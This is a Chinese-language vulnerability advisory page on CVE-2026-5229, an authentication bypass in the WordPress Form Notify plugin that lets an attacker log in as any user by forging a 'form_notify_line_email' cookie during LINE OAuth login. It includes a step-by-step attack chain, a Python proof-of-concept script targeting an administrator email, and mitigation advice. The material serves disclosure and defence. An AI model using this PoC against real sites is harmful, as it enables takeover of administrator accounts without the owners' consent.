IPBUF安全漏洞报告
English
CVE-2026-5229 CVSS 9.8 严重

CVE-2026-5229 WordPress Form Notify认证绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-5229
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Form Notify Plugin

相关标签

认证绕过WordPressForm NotifyCVE-2026-52290day权限提升

漏洞概述

WordPress Form Notify插件1.1.10及以下版本存在认证绕过漏洞。插件在处理LINE OAuth登录时,错误信任用户Cookie。当LINE未提供邮箱时,插件直接读取`form_notify_line_email` Cookie进行验证,未校验邮箱与LINE账户关联。攻击者可通过注入包含目标邮箱的Cookie,结合自身LINE账户登录,无需密码即可接管包括管理员在内的任意用户账户。

技术细节

该漏洞核心在于身份验证逻辑的严重缺陷。插件在`src/APIs/Line/Login/Route.php`和`User.php`处理OAuth回调逻辑时,存在设计失误。当LINE第三方未返回用户邮箱时,代码会回退机制,直接从客户端请求的`form_notify_line_email` Cookie中读取值,并据此查询WordPress用户表进行登录。这彻底打破了信任边界,将客户端可控数据等同于可信身份凭证。攻击者无需知道受害者密码,只需在本地设置该Cookie为目标管理员邮箱,随后访问登录回调接口。由于插件仅验证OAuth流程成功,未核实Cookie邮箱与当前LINE账号的实际绑定关系,导致系统错误地将攻击者的会话映射为受害者身份,从而绕过密码验证直接获取后台最高权限。

攻击链分析

STEP 1
侦察
攻击者识别出目标WordPress站点安装了Form Notify插件(版本<=1.1.10)。
STEP 2
Cookie伪造
攻击者在浏览器中设置`form_notify_line_email` Cookie,值为目标管理员的电子邮箱地址。
STEP 3
触发OAuth流程
攻击者访问插件的LINE OAuth登录接口,并使用自己的LINE账户完成登录授权。
STEP 4
获取权限
插件读取Cookie中的邮箱并忽略LINE账户信息,直接将攻击者登录为目标管理员,接管站点控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Concept for CVE-2026-5229: Authentication Bypass in Form Notify Plugin import requests target_url = "http://target-wordpress-site.com" victim_email = "[email protected]" # Create a session to maintain cookies session = requests.Session() # Step 1: Inject the malicious cookie containing the victim's email # The plugin trusts this cookie value when LINE does not provide an email session.cookies.set('form_notify_line_email', victim_email, domain=target_url.replace('http://', '')) # Step 2: Simulate the LINE OAuth callback # The attacker initiates the login process. The plugin sees a valid LINE login # but uses the injected cookie email to determine which WP user to log in. oauth_endpoint = f"{target_url}/?form_notify_line_login_callback=1" try: response = session.get(oauth_endpoint, allow_redirects=False) if response.status_code == 302 or 'wp-admin' in response.url: print("[+] Exploit successful! Logged in as user: %s" % victim_email) print("[+] Redirected to:", response.headers.get('Location', response.url)) else: print("[-] Exploit failed or logic changed.") except Exception as e: print("Error:", e)

影响范围

Form Notify <= 1.1.10

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Form Notify插件的LINE登录功能以阻断攻击路径。同时,管理员应启用多因素认证(MFA)作为额外的防御层,以防凭证被绕过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表